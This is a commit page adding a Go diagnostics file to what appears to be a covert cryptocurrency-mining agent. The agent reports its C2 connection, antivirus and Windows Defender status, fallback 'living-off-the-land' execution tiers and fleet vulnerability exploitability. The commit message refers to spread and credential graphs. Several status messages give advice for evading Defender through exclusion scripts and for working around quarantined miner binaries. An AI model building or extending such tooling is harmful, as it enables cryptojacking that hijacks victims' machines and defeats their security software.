Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
AetherForge
296
agent/client/mining_diagnostics.go
Normal file
296
agent/client/mining_diagnostics.go
Normal file
@@ -0,0 +1,296 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
|
||||
type MiningDiagnostics struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
Platform string `json:"platform"`
|
||||
ConfiguredExecution string `json:"configured_execution"`
|
||||
ExecutionMode string `json:"execution_mode"`
|
||||
ContainerAvailable bool `json:"container_runtime_available"`
|
||||
ContainerCLI string `json:"container_runtime_cli,omitempty"`
|
||||
ContainerRunning bool `json:"container_running"`
|
||||
DockerLoadAvailable bool `json:"docker_load_available"`
|
||||
DockerImageTar string `json:"docker_image_tar,omitempty"`
|
||||
WSLAvailable bool `json:"wsl_available"`
|
||||
WSLDistros []string `json:"wsl_distros,omitempty"`
|
||||
WSLRunning bool `json:"wsl_running"`
|
||||
HostMiningDisabled bool `json:"host_mining_disabled"`
|
||||
C2Connected bool `json:"c2_connected"`
|
||||
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
InstallDir string `json:"install_dir,omitempty"`
|
||||
AVRecommendation string `json:"av_recommendation,omitempty"`
|
||||
LikelyBlockers []string `json:"likely_blockers"`
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
CPU struct {
|
||||
RemotePaused bool `json:"remote_paused"`
|
||||
ScheduleBlocked bool `json:"schedule_blocked"`
|
||||
ResourcesBlocked bool `json:"resources_blocked"`
|
||||
HasJob bool `json:"has_job"`
|
||||
Hashrate float64 `json:"hashrate_hps"`
|
||||
} `json:"cpu"`
|
||||
GPU struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
Active bool `json:"active"`
|
||||
Paused bool `json:"paused"`
|
||||
Model string `json:"model,omitempty"`
|
||||
} `json:"gpu"`
|
||||
Defender *struct {
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
RTP *bool `json:"rtp,omitempty"`
|
||||
Products []string `json:"products,omitempty"`
|
||||
} `json:"defender,omitempty"`
|
||||
|
||||
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
|
||||
|
||||
var d MiningDiagnostics
|
||||
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
d.Platform = runtime.GOOS
|
||||
d.ConfiguredExecution = c.cfg.MinerExecution
|
||||
d.ExecutionMode = execMode
|
||||
d.ContainerAvailable = containerRT.Available
|
||||
d.ContainerCLI = containerRT.CLI
|
||||
if c.containerMiner != nil {
|
||||
d.ContainerRunning = c.containerMiner.Running()
|
||||
}
|
||||
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
|
||||
d.DockerLoadAvailable = containerRT.Available
|
||||
d.DockerImageTar = tarPath
|
||||
}
|
||||
wslRT := miner.WSLDetector()
|
||||
d.WSLAvailable = wslRT.Available
|
||||
d.WSLDistros = wslRT.Distros
|
||||
if c.wslMiner != nil {
|
||||
d.WSLRunning = c.wslMiner.Running()
|
||||
}
|
||||
d.HostMiningDisabled = c.hostMiningDisabled.Load()
|
||||
d.C2Connected = c.connected.Load()
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
age := time.Since(raw.(time.Time)).Seconds()
|
||||
d.LastJobAgeSec = &age
|
||||
}
|
||||
d.MiningMode = c.cfg.MiningMode
|
||||
d.PoolHost = c.cfg.PoolHost
|
||||
d.PoolPort = c.cfg.PoolPort
|
||||
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
d.InstallDir = dir
|
||||
}
|
||||
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
|
||||
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
|
||||
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
|
||||
}
|
||||
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
|
||||
d.EnvironmentProbes.AVBlocksExe = true
|
||||
}
|
||||
|
||||
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
|
||||
d.TierChainOrder = make([]string, len(tierChain))
|
||||
for i, t := range tierChain {
|
||||
d.TierChainOrder[i] = string(t)
|
||||
}
|
||||
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
|
||||
d.TierChainSkipped = make([]string, len(skipped))
|
||||
for i, t := range skipped {
|
||||
d.TierChainSkipped[i] = string(t)
|
||||
}
|
||||
|
||||
d.CPU.RemotePaused = remotePaused
|
||||
d.CPU.ScheduleBlocked = scheduleBlocked
|
||||
d.CPU.ResourcesBlocked = resourcesBlocked
|
||||
d.CPU.HasJob = hasJob
|
||||
d.CPU.Hashrate = hps
|
||||
|
||||
d.GPU.Enabled = c.cfg.GPUEnabled
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
_, active := gm.Stats()
|
||||
d.GPU.Active = active
|
||||
d.GPU.Model = gm.GPUModel()
|
||||
gm.mu.RLock()
|
||||
d.GPU.Paused = gm.paused
|
||||
gm.mu.RUnlock()
|
||||
} else if c.cfg.GPUEnabled {
|
||||
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
|
||||
}
|
||||
|
||||
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
|
||||
d.Defender = &struct {
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
RTP *bool `json:"rtp,omitempty"`
|
||||
Products []string `json:"products,omitempty"`
|
||||
}{
|
||||
Enabled: p.DefenderEnabled,
|
||||
RTP: p.DefenderRTP,
|
||||
Products: p.AVProducts,
|
||||
}
|
||||
}
|
||||
|
||||
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
|
||||
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
if ms.LOTLTier != "" {
|
||||
d.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
|
||||
}
|
||||
d.WebGPUReady = ms.WebGPUReady
|
||||
if c.miningChain.tiers != nil {
|
||||
tr := c.miningChain.tiers.Report()
|
||||
d.GPUComputeOK = tr.GPUComputeOK
|
||||
if d.LOTLTier == "" && tr.ActiveTier != "" {
|
||||
d.LOTLTier = string(tr.ActiveTier)
|
||||
}
|
||||
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
|
||||
d.LOTLAttempts = tr.Attempts
|
||||
}
|
||||
}
|
||||
d.ActiveMethod = string(ms.ActiveMethod)
|
||||
d.StratumOverlay = ms.StratumOverlay
|
||||
d.ChainExhausted = ms.ChainExhausted
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
d.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
d.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
d.FailedMethods = make([]struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
}, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
d.FailedMethods[i].Method = string(f.Method)
|
||||
d.FailedMethods[i].Reason = f.Reason
|
||||
d.FailedMethods[i].At = f.At
|
||||
}
|
||||
}
|
||||
} else {
|
||||
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
|
||||
for i, m := range chainOrderForConfig(c.cfg) {
|
||||
d.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
|
||||
if vr := LastVulnScan(); vr != nil {
|
||||
score := vr.RiskScore
|
||||
d.VulnRiskScore = &score
|
||||
if len(vr.Findings) > 0 {
|
||||
d.VulnFindings = make([]struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}, len(vr.Findings))
|
||||
for i, f := range vr.Findings {
|
||||
d.VulnFindings[i].CVEID = f.CVEID
|
||||
d.VulnFindings[i].Severity = f.Severity
|
||||
d.VulnFindings[i].Component = f.Component
|
||||
d.VulnFindings[i].Patched = f.Patched
|
||||
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
||||
d.VulnFindings[i].Detail = f.Detail
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
||||
var blockers []string
|
||||
if d.CPU.RemotePaused {
|
||||
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
||||
}
|
||||
if d.CPU.ScheduleBlocked {
|
||||
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
|
||||
}
|
||||
if d.CPU.ResourcesBlocked {
|
||||
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
|
||||
}
|
||||
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
|
||||
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
|
||||
}
|
||||
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
|
||||
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
|
||||
}
|
||||
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
|
||||
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
|
||||
}
|
||||
if d.HostMiningDisabled && !d.ContainerRunning {
|
||||
blockers = append(blockers, "host mining disabled for container mode but container is not running")
|
||||
}
|
||||
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
|
||||
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
|
||||
}
|
||||
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
|
||||
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
|
||||
}
|
||||
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
|
||||
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
|
||||
}
|
||||
if d.DockerImageTar != "" && !d.ContainerAvailable {
|
||||
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
|
||||
}
|
||||
if !d.WSLAvailable && runtime.GOOS == "windows" {
|
||||
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
|
||||
}
|
||||
if d.ChainExhausted {
|
||||
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
|
||||
}
|
||||
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
|
||||
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
|
||||
}
|
||||
return blockers
|
||||
}
|
||||
|
||||
func (c *AgentClient) miningDiagnosticsJSON() string {
|
||||
d := c.collectMiningDiagnostics()
|
||||
b, _ := json.MarshalIndent(d, "", " ")
|
||||
return string(b)
|
||||
}
|
||||
Reference in New Issue
Block a user